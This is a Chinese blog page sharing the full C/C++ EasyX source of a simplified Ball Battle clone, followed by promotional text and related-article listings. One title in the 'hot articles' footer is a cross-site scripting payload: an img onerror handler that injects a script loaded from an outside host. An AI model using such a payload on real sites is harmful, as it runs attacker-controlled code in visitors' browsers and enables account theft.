C/C++实现球球大作战(高仿版),全源码分享带你轻松完成
每天一个C语言小项目,提升你的编程能力!
《球球大作战》虽然在玩法上类似于大球吃小球的模式看起来很单薄。但是在游戏过程中会出现无数种意外情况,这就需要玩家运用一系列策略来达到不被吃和吃掉别人球的目的,大大增加了游戏的耐玩性。
一个人的话想要实现复刻球球太困难了,所以这是仿照成熟版球球大作战写的简易版小游戏,有食物、敌人,甚至像和平精英一样加了一层外面的毒圈。
游戏操作起来很简单,用 A S D W 四个键控制球的移动方向。
地图大小是屏幕的16倍,吃完所有敌人就胜利。记住不要被敌人吃掉哦!
效果图展示:
完整的游戏源代码如下:
#include <graphics.h>
#include <conio.h>
#include <time.h>
#include <math.h>
#include <wchar.h>#define WIDTH 1024 // 屏幕宽
#define HEIGHT 576 // 屏幕高
#define MAPW (WIDTH * 4) // 地图宽
#define MAPH (HEIGHT * 4) // 地图高
#define AINUM 100 // AI 数量
#define FNUM 2000 // FOOD 数量
#define PTIME 180 // 毒圈刷新时间
#define DISTANCE(x1, y1, x2, y2) (sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2)))struct FOOD
{bool eat;COLORREF color; // 颜色int x, y; // 坐标char type;
};struct BALL // 定义小球结构
{bool life; // 生命COLORREF color; // 颜色int x, y; // 坐标float r; // 半径
};FOOD food[FNUM]; // 食物
BALL mover = { 1, RGB(0, 0, 0), 0, 0, 0 }; // 玩家
BALL ai[AINUM] = { 1, RGB(0, 0, 0), 0, 0, 0 }; // 机器大军void move(BALL* ball); // 玩家移动
void draw(); // 绘图
void start(); // 游戏开始
void setall(); // 初始化数据
void AI(); // AI
void Food(); // 食物
void delay(DWORD ms); // 绝对延时DWORD* pBuffer; // 显示缓冲区指针
int eaten = 0; // 吃 AI 的数量
int ai_eaten = 0; // AI 吃 AI的数量
int lx = -20, ly = MAPH + 20, rx = MAPW + 20, ry = -20; // 毒的位置
int relx = -20, rely = MAPH + 20, rerx = MAPW + 20, rery = -20; // 毒的位置
float asp = 1; // 缩放因子
float Time = 0; // 时间int main()
{initgraph(WIDTH, HEIGHT);start();setall(); // 游戏初始化BeginBatchDraw();while (true){move(&mover); // 玩家移动AI();Food();draw(); // 绘图FlushBatchDraw(); // 显示缓存的绘制内容delay(20); // 绝对延迟}
}void move(BALL* ball)
{if (ball->r <= 0) ball->life = false;if (ball->life == false) // 判定游戏是否接束{HWND hwnd = GetHWnd();MessageBox(hwnd, _T("你被吃了"), _T("游戏结束"), MB_OK | MB_ICONEXCLAMATION); // 结束closegraph();exit(0);}if (eaten + ai_eaten == AINUM) // 是否吃掉所以 AI{HWND hwnd = GetHWnd();MessageBox(hwnd, _T("恭喜过关"), _T("游戏结束"), MB_OK | MB_ICONEXCLAMATION); // 结束closegraph();exit(0);}if (ball->x > (MAPW - ball->r) || ball->x - ball->r < 0 || ball->y - ball->r < 0 || ball->y >(MAPH - ball->r))ball->r -= 0.1f;for (int i = 0; i < AINUM; i++) // 玩家吃 AI 判定{if (ball->r >= ai[i].r){if (ai[i].life == 0) continue;if (DISTANCE(ball->x, ball->y, ai[i].x, ai[i].y) < (4 / 5.0 * (ball->r + ai[i].r))){ai[i].life = 0; // 吃掉ball->r += (ai[i].r * ai[i].r / 2) / ball->r; // 推理过程: pai * ball->r*ball->r += pai*ai[i].r*ai[i].r; πr*r=πr*r+πai[i].r*ai[i].reaten++;}}}for (int n = 0; n < FNUM; n++) // 玩家吃食物{if (food[n].eat == 0) continue;if (DISTANCE(ball->x, ball->y, food[n].x, food[n].y) < ball->r){ball->r += 4 / ball->r; // 增加面积food[n].eat = 0; // 食物被吃}}static int mx = 0, my = 0; // 记录偏移量if (GetAsyncKeyState(65) & 0x8000) { ball->x -= 2; mx += 2; } //左边if (GetAsyncKeyState(87) & 0x8000) { ball->y -= 2; my += 2; } //上面if (GetAsyncKeyState(83) & 0x8000) { ball->y += 2; my -= 2; } //下面if (GetAsyncKeyState(68) & 0x8000) { ball->x += 2; mx -= 2; } //右边setorigin(mx, my); // 坐标修正
}void AI()
{for (int i = 0; i < AINUM; i++){if (ai[i].r > mover.r) // AI 吃玩家{if (DISTANCE(mover.x, mover.y, ai[i].x, ai[i].y) < 2 / 3.0 * ai[i].r + mover.r){ai[i].r += (mover.r * mover.r) / ai[i].r;mover.life = 0;mover.r = 0;}}for (int j = 0; j < AINUM; j++) // AI 吃 AI{if (ai[i].r > ai[j].r){if (ai[j].life == 0) continue;if (DISTANCE(ai[i].x, ai[i].y, ai[j].x, ai[j].y) < 4 / 5.0 * ai[i].r + ai[j].r){ai[i].r += (ai[j].r * ai[j].r) / ai[i].r; // 面积增加ai[j].life = 0;ai[j].r = 0;ai_eaten++;}}}double min_DISTANCE = 100000;int min = -1;for (int k = 0; k < AINUM; k++) // AI 靠近 AI{if (ai[i].r > ai[k].r && ai[k].life == 1){if (DISTANCE(ai[i].x, ai[k].x, ai[i].y, ai[k].y) < min_DISTANCE){min_DISTANCE = DISTANCE(ai[i].x, ai[k].x, ai[i].y, ai[k].y);min = k;}}}if ((min != -1) && (rand() % 2 == 1)){if (rand() % 2){if (ai[i].x < ai[min].x) ai[i].x++;else ai[i].x--;}else{if (ai[i].y < ai[min].y) ai[i].y++;else ai[i].y--;}}for (int n = 0; n < FNUM; n++) // AI 吃食物{if (food[n].eat == 0) continue;if (DISTANCE(ai[i].x, ai[i].y, food[n].x, food[n].y) < ai[i].r){ai[i].r += 4 / ai[i].r;food[n].eat = 0;}}}
}void Food()
{for (int i = 0; i < FNUM; i++) // 食物重新生成{if (food[i].eat == 0){food[i].eat = 1;food[i].color = RGB(rand() % 256, rand() % 256, rand() % 256);food[i].x = rand() % MAPW;food[i].y = rand() % MAPH;food[i].type = rand() % 10 + 1;}}
}void draw()
{clearcliprgn();setlinestyle(PS_SOLID | PS_JOIN_BEVEL, 20); // 改笔的颜色、状态setlinecolor(RGB(0, 100, 0));line(relx, rely, relx, rery); // 左竖line(relx, rely, rerx, rely); // 上横line(relx, rery, rerx, rery); // 下横line(rerx, rery, rerx, rely); // 右竖setfillcolor(GREEN);if (mover.x - 0.5 * WIDTH / asp < relx) floodfill(relx - 11, mover.y, RGB(0, 100, 0));if (mover.x + 0.5 * WIDTH / asp > rerx) floodfill(rerx + 11, mover.y, RGB(0, 100, 0));if (mover.y - 0.5 * HEIGHT / asp < rery) floodfill(mover.x, rery - 11, RGB(0, 100, 0));if (mover.y + 0.5 * HEIGHT / asp > rely) floodfill(mover.x, rely + 11, RGB(0, 100, 0));setlinecolor(WHITE); // 改笔颜色 状态setlinestyle(PS_NULL);for (int i = 0; i < FNUM; i++) // 画出食物{if (food[i].eat == 0) continue;setfillcolor(food[i].color);switch (food[i].type) // 形状{case 1: solidellipse(food[i].x, food[i].y, food[i].x + 2, food[i].y + 4); break;case 2: solidellipse(food[i].x, food[i].y, food[i].x + 4, food[i].y + 2); break;case 3: solidrectangle(food[i].x, food[i].y, food[i].x + 4, food[i].y + 2); break;case 4: solidrectangle(food[i].x, food[i].y, food[i].x + 2, food[i].y + 4); break;case 5: solidroundrect(food[i].x, food[i].y, food[i].x + 2, food[i].y + 4, 2, 2); break;case 6: solidroundrect(food[i].x, food[i].y, food[i].x + 4, food[i].y + 2, 2, 2); break;case 7: solidroundrect(food[i].x, food[i].y, food[i].x + 4, food[i].y + 2, 4, 2); break;case 8: solidroundrect(food[i].x, food[i].y, food[i].x + 4, food[i].y + 2, 2, 4); break;case 9: solidroundrect(food[i].x, food[i].y, food[i].x + 4, food[i].y + 2, 1, 1); break;case 10: fillcircle(food[i].x, food[i].y, 4); break;}}for (int i = 0; i < AINUM; i++) // 画 AI{if (ai[i].life == 0) continue;setfillcolor(ai[i].color);fillcircle(ai[i].x, ai[i].y, int(ai[i].r + 0.5));}setfillcolor(mover.color); // 画玩家fillcircle(mover.x, mover.y, int(mover.r + 0.5));IMAGE map(150, 100); // 小地图SetWorkingImage(&map);setbkcolor(RGB(120, 165, 209)); // 浅灰色背景cleardevice();for (int i = 0; i < AINUM; i++) // 画 AI{if (ai[i].life == 0) continue;setfillcolor(ai[i].color);fillcircle(ai[i].x * 150 / WIDTH / 4, ai[i].y * 100 / HEIGHT / 4, int(ai[i].r / 28 + 0.5));}setfillcolor(mover.color); // 画玩家fillcircle(mover.x * 150 / WIDTH / 4, mover.y * 100 / HEIGHT / 4, int(mover.r / 28 + 0.5));setlinecolor(RGB(0, 100, 0));if (lx != rx && ly != rx){line(lx * 150 / WIDTH, ly * 100 / HEIGHT, lx * 150 / WIDTH, ry * 100 / HEIGHT); // 左竖line(lx * 150 / WIDTH, ly * 100 / HEIGHT, rx * 150 / WIDTH, ly * 100 / HEIGHT); // 上横line(lx * 150 / WIDTH, ry * 100 / HEIGHT, rx * 150 / WIDTH, ry * 100 / HEIGHT); // 下横line(rx * 150 / WIDTH, ry * 100 / HEIGHT, rx * 150 / WIDTH, ly * 100 / HEIGHT); // 右竖}setfillcolor(GREEN);floodfill(lx - 11, ly - 11, RGB(0, 100, 0));SetWorkingImage(); // 恢复绘图背景putimage(mover.x + int(0.5 * WIDTH) - 150, mover.y - int(0.5 * HEIGHT), 150, 100, &map, 0, 0); // 画出小地图setlinecolor(LIGHTBLUE); // 改笔颜色 状态setlinestyle(PS_SOLID | PS_JOIN_BEVEL, 4);line(mover.x + int(0.5 * WIDTH) - 151, mover.y - int(0.5 * HEIGHT), mover.x + int(0.5 * WIDTH) - 151, mover.y - int(0.5 * HEIGHT) + 99); // 地图边框线line(mover.x + int(0.5 * WIDTH) - 151, mover.y - int(0.5 * HEIGHT) + 99, mover.x + int(0.5 * WIDTH), mover.y - int(0.5 * HEIGHT) + 99); // 地图边框线setlinestyle(PS_NULL); // 恢复笔wchar_t str[32];swprintf_s(str, L"质量:%.1f 击杀:%d", mover.r, eaten);settextcolor(BLUE); // 改字体outtextxy(mover.x - int(0.5 * WIDTH), mover.y - int(0.5 * HEIGHT), str);settextcolor(BLUE); // 改字体outtextxy(mover.x - 36, mover.y - 8, _T("作者:无言"));
}void setall()
{srand((unsigned)time(NULL)); // 随机数mover.color = RGB(rand() % 256, rand() % 256, rand() % 256); // 随机颜色mover.life = 1; // 统统赋初值mover.x = int(WIDTH * 0.5);mover.y = int(HEIGHT * 0.5);mover.r = 20;for (int i = 0; i < AINUM; i++) // AI 的{ai[i].life = 1;ai[i].color = RGB(rand() % 256, rand() % 256, rand() % 256);ai[i].r = float(rand() % 10 + 10);ai[i].x = rand() % (MAPW - int(ai[i].r + 0.5)) + int(ai[i].r + 0.5);ai[i].y = rand() % (MAPH - int(ai[i].r + 0.5)) + int(ai[i].r + 0.5);}for (int i = 0; i < FNUM; i++) // 食物的{food[i].eat = 1;food[i].color = RGB(rand() % 256, rand() % 256, rand() % 256);food[i].x = rand() % MAPW;food[i].y = rand() % MAPH;food[i].type = rand() % 10 + 1;}pBuffer = GetImageBuffer(NULL); // 获取显示缓冲区指针setbkcolor(WHITE); // 白色背景cleardevice(); // 初始化背景settextcolor(LIGHTRED); // 改字体setbkmode(TRANSPARENT);settextstyle(16, 0, _T("宋体"));
}void delay(DWORD ms) // 绝对延时
{static DWORD oldtime = GetTickCount();while (GetTickCount() - oldtime < ms)Sleep(1);oldtime = GetTickCount();
}void start()
{setbkcolor(WHITE); // 白色背景cleardevice(); // 初始化背景settextcolor(RED); // 改字体setbkmode(TRANSPARENT);settextstyle(128, 0, _T("宋体"));outtextxy(40, 20, _T("仿制球球大作战"));settextstyle(32, 0, _T("宋体"));outtextxy(740, 135, _T("Ver 1.6"));settextcolor(BLUE); // 改字体outtextxy(304, 240, _T("W上移 S下移 A左移 D右移"));outtextxy(112, 340, _T("躲避大球 追补小球 贪吃食物 增强实力"));settextcolor(BLACK); //改字体settextstyle(32, 0, _T("宋体"));outtextxy(384, 500, _T("按任意键开始游戏"));settextstyle(20, 0, _T("宋体"));outtextxy(810, 10, _T("作者粉丝群: 734106058"));_getch();
}
大家赶紧去动手试试吧!
此外,我也给大家分享我收集的其他资源,从最零基础开始的教程到C语言C++项目案例,帮助大家在学习C语言的道路上披荆斩棘!
整理分享(多年学习的源码、项目实战视频、项目笔记,基础入门教程)最重要的是你可以在群里面交流提问编程问题哦!
欢迎转行和学习编程的伙伴,利用更多的资料学习成长比自己琢磨更快哦!
(资料领取 ↓↓↓↓↓↓)
C/C++实现球球大作战(高仿版),全源码分享带你轻松完成相关推荐
- 当我阅读完上千行的游戏球球大作战战斗服务器端源码后...
注:本文内容已更新至ARTS-Share栏. 这周服务器主程安排给了我一个任务(其实是我在用Go做完了一些小demo后,向主程请示下一步的安排),让我将他用Lua语言写的球球大作战的服务端代码转成Go ...
- java球球大作战_球球大作战(小游戏源码)
[实例简介] 控制自己的小球球去吃比自己小的球球 [实例截图] [核心代码] package chiqiuqiu.cn; import java.awt.Color; import java.awt. ...
- C语言C++图形库---贪吃蛇大作战【附源码】
这一节中,我们来做一款经典小游戏,贪吃蛇.先看看最终效果图 在开始之前,我们把窗体创建好. 创建一个800 * 600的窗体.这一次我们使用默认的原点和坐标轴:原点在窗体左上角,X轴正方向向右,Y轴正 ...
- 2022修复版PHP活动现场大屏幕互动系统源码带演示地址
演示地址hudong.mysqlschool.cn/frame.php 活动密码admin 下载地址www.mysqlschool.cn/16461.html 2022修复版PHP活动现场大屏幕互动系 ...
- c语言球球半径,C/C++编程笔记:C语言开发球球大作战(源码分享),你想试试吗?...
原标题:C/C++编程笔记:C语言开发球球大作战(源码分享),你想试试吗? 游戏背景 <球球大作战>是Superpop一款自主研du发的免费手机网络游戏. 以玩家间的实时互动PK产生游戏乐 ...
- unity3d游戏3d局域网联机吃球游戏完整项目源码分享
unity3d游戏3d局域网联机吃球游戏完整项目源码分享 免费下载地址: 链接:https://pan.baidu.com/s/1APlOCmoK9aUfiVJD48dBQA 提取码:p5nl 复制这 ...
- 活动现场大屏幕互动系统(微信墙)修复版完美PHP源码,带完整素材包和详细使用文档
源码收集于网络,觉得不错,2022-11-18亲测了源码,顺手修复了原来的几处bug.网上的这个源码有个重大bug,就是后台系统配音没法上传音乐文件.我理了一下代码,修复了这个问题,现在后台可以分别给 ...
- Qt大屏电子看板系统源码基础版
Qt大屏电子看板系统源码基础版 整体总共分三界面,一级界面是整体布局,二级界面是单个功能模块,三界面是单个控件. 子控件包括饼图+圆环图+曲线图+柱状图+柱状分组图+横向柱状图+横向柱状分组图+合格率 ...
- 中国大学MOOC北京大学唐大仕老师《Java程序设计》源码分享
中国大学MOOC北京大学唐大仕老师<Java程序设计>源码分享 简介 Github地址 LearnJava中需要导入的jar 导入jar的方法 简介 这是我在学习中国大学MOOC北京大学唐 ...
最新文章
- Java垃圾回收之新生代垃圾收集器
- 问题解决10使用带有框架的页面跳转到登录页面时,登录页面只显示在子框架中,未能铺满整个浏览器--解决方案如下:...
- TreeView 跟 Iframe 关联设置的方法。
- java分布式 mq_分布式系统消息中间件—RabbitMQ的使用进阶篇
- Font Awesome 中文网
- 初学knockoutjs记录5——Computed observables依赖监控(2 Writable computed observables可写计算监控属性)...
- c#2.0 IEnumberable接口
- 矢量叉积与折线段拐向判断---三角形顺逆判断
- 《CSS世界》:一本CSS领域的内功心法修炼手册
- 你真的了解Franka吗?一文带你揭秘Franka常见问题,你想知道的都在这里!
- Rust中的所有权和借用的关系图
- 微信小程序:经典语录大全微信小程序源码
- YYImage加载gif动态图原理
- Windows Speech SDK5.1的安装和使用(xp/win7)
- 开关调色新世界BP2888电源解决方案
- 【ECDH java后端和javaScript前后端互通实现】
- 1.6启动失败的解决办法
- 大数据薪水大概多少_入行大数据,薪资待遇到底能拿多少?
- 聊聊win 7回收站 回收站技巧大公开【xitongshoucang.com】
- 鲲鹏基础软硬件平台持续升级,赋能伙伴开发者用好鲲鹏
热门文章
- pg 事务 存储过程_pgsql存储过程介绍
- 考试题目“笨笨玩游戏”
- 国内软件开发商的通病?
- python打电话 不接通不收钱,Python + twilio 实现打电话和发短信功能
- FastAPI 学习之路(二十九)使用(哈希)密码和 JWT Bearer 令牌的 OAuth2
- 【Java基础】Spring 中 Bean 的理解与使用
- 雷达原理---线性调频信号(LFM)的引出
- c语言两个for语句并列执行_for循环嵌套,C语言for循环嵌套详解
- img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://xssc.cc/x';
- Python全栈(十一)Django项目之3.图形验证码实现逻辑和短信验证码初步实现